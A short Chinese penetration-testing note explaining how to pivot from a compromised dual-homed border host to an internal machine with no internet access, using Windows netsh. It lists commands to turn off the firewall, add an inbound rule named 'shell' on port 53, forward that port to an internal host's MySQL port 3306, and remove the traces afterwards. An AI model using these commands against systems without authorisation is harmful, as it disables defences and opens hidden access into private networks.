内网端口转发[netsh]

一.利用场景

当前获取目标内网边界区域一台机器，可以通外网和内网也就是存在两块网卡，又通过其他手段获取到内网另外一台机器，但是这台机器不能出外网，所以我们可以使用windows自带netsh命令通过边界机器来连接内网不出网的机器。

二.利用手法

netsh firewall show config              查看防火墙配置

netsh firewall show state               查看当前系统防火墙状态

netsh interface portproxy show all      查看端口转发规则

如防火墙开启则需关闭防火墙： netsh advfirewall set allprofiles state off

 

add 为增加规则,

delete 为删除规则

allow 为允许连接,

block 为阻断连接

in 为入站,

out 为出站

name 为要显示的规则名称

 

在边界机上执行，把外部的某个端口的流量转发到内网指定机器的端口上这里选择内网机器的3306端口。

netsh advfirewall firewall add rule name="shell" dir=in action=allow protocol=TCP localport=53 允许本地连接53端口[入站允许]

netsh interface portproxy add v4tov4 listenport=53 connectaddress=内网机器IP connectport=3306

netstat -ano | findstr ":53"  查看53端口是否开放成功

netsh advfirewall firewall delete rule name="shell" dir=in protocol=TCP localport=53 删除入站允许

netsh interface portproxy delete v4tov4 listenport=53 删除规则

三.注意事项win2003操作命令不同

netsh interface ipv6 install windows2003使用 netsh,需要先安装好 ipv6 支持,由于 netsh 同时支持 ipv4 和 ipv6 端口转发,如果不 装,netsh 工作可能会有些问题

netsh firewall show state 查看当前系统防火墙状态

netsh firewall set opmode disable 关闭当前系统防火墙

netsh firewall set opmode enable   启用当前系统防火墙